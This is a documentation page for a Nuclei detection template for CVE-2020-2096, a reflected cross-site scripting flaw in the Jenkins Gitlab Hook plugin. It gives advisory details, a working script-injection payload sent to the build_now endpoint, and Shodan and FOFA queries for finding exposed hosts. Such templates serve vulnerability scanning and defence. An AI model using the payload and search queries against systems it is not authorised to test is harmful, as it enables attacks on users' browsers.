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Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting

ID: CVE-2020-2096

Severity: medium

Author: madrobot

Tags: cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm

Description

Section titled “Description”

Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2020-2096


info:
  name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
  reference:
    - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
    - http://www.openwall.com/lists/oss-security/2020/01/15/1
    - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2096
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-2096
    cwe-id: CWE-79
    epss-score: 0.96965
    epss-percentile: 0.99727
    cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: gitlab_hook
    framework: jenkins
    shodan-query:
      - http.title:"GitLab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm


http:
  - method: GET
    path:
      - "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022017c7932bf380144d2e6dd48cfc9c548e54d55e845b880b398bc503753cda1894022100afa13db96a55b6da6e5a4186c423abe036e9a84df14ebf0f0c8c412ad13b8200:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-2096.yaml"

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